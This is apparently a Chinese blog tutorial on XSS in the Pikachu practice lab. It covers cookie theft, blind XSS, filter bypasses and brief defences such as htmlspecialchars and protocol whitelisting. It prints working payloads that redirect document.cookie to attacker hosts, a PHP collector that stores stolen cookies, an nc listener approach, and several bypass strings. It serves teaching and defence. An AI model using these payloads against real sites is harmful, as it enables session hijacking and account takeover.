XSSCookie获取、盲打、绕过、防范
Cookie
Cookie是依据HTTP协议,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端上的)一个小文本,它可以包含有关用户的信息。
临时Cookie:只在浏览器上保存一段规定的时间,一旦超过规定的时间,该Cookie就会被系统清除。
服务器可以利用Cookies包含信息的任意性来筛选并经常维护这些信息,以判断在HTTP传输中的状态。
Cookies最典型的应用是判定注册用户是否已经登陆过网站,保留用户信息可以简化下一次登陆网站。此外购物车,用户可能在一段时间内同一家网站的不同页面选择不同的商品,这些信息都会被写入Cookies,以便在最后付款时提取信息。
Cookie的窃取和利用
当站点存在XSS漏洞时,就可以利用XSS来获取Cookie
<script>document.location='http://192.168.223.132/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
解读:使用黑客网站下文件地址为cookie.php,目的是通过此文件获取Cookie并输入到黑客的数据库中的,并且重定向到一个可信的网站,注意前端对长度的限制
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.223.132/pikachu/index.php"); //重定向到一个可信的网站
?>
或者使用nc进行窃取,在服务器上打开8080端口监听,重定向到黑客的服务器,同时带上它的cookie
<script>document.location='http://192.168.37.134:8080/a?cookie=' +document.cookie;</script>//重定向到一个可信的网站
XSS注入原理再探究
对一个可注入XSS的网站进行注入后,如果是反射型中的GET型,那可以将该网站包含恶意代码通过短链接伪装发送给目标,目标点击后会获取该含有XSS漏洞的网页的Cookie,如果该用户没有注册或者Cookie过期,则会获取一个无效的Cookie
如果是DOM型和反射型差不多,但是存储型是存储在数据库中,由于是js代码,在前端不会显示,但是会执行,管理员或者用户只要点击这个含有该代码的网页,一旦解析就会执行
XSS的盲打
不管三七二十一,往里面插入插入XSS代码,然后等待惊喜。由于是后端,安全考虑不严格的时候管理员就会被获取Cookie
XSS绕过
1.前端限制绕过(如限制长度,过滤字符等),直接抓包重放,或者修改前端HTML代码
2.大小写绕过:<SCript>Alert('1')</scRIPT>
3.双写绕过:<scri<script>pt>alert('1')</scri</script>pt>
4.使用注释符干扰:<scri<!--test-这行代码是备注->pt>alert('1')</scr<!--test-->ript>
但是要注意使用编码的时候要注意编码在输出点能被正常的识别和翻译。一般来说HTML实体编码比较好
Htmlspecialchars绕过:
htmlspecialchars()函数的语法与用法
htmlspecialchars(string,flags,character-set,double_encode)
参数:
string:必需,规定要转换的字符串
flags :可选,规定如何处理引号、无效的编码以及使用哪种文档类型
character-set :可选,一个规定了要使用的字符集的字符串,如:UTF-8(默认)
double_encode :可选,布尔值,规定了是否编码已存在的 HTML 实体
flags参数可用的引号类型
ENT_COMPAT :默认仅编码双引号。
ENT_QUOTES:编码双引号和单引号。
ENT_NOQUOTES:不编码任何引号。
htmlspecialchars()对预定义的函数转换为HTML实体,如<script></script>是js代码,应该是执行但不显现在前端,但是使用htmlspecialchars()函数后会转换成字符输出到前端,而不会作为js代码去执行,是开发上防xss注入的手段
htmlspecialchars()默认不会对单引号进行处理的,但当输出点比较特殊的时候,仍然存在XSS危险
' onclick='alert(1)' //注意通过前端代码进行分析
单个单引号不会在语法上起作用,只是变成一个字符,所以不用担心
href输出与过滤
由于通过href进行输出,所以直接可以用JavaScript协议进行输出
javascript:alert('1')
防御:只允许http和https开头的协议
js输出与过滤
输出点是在javaScript,通过用户的输入动态的生成JavaScript代码,通过对前面原有的JavaScript代码形成闭合,再自己对后面的JavaScript代码构造即可
如我们输入hello,网页没有显示我们的hello,查看源代码后发现在JavaScript代码里进行了输出,这时对前面的script标签进行闭合,并自己构造一个script标签进行注入
'</script><script>alert('xxs')</script>
注意:这里我们会发现我们与前面的<script>标签形成闭合后,构造自闭和,但是原有的</script>标签并没有闭合,但也没有影响,原因在于<script>标签如果没有形成闭合则不起作用
防御:在JS的输出点用\对特殊字符进行过滤
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15591006.html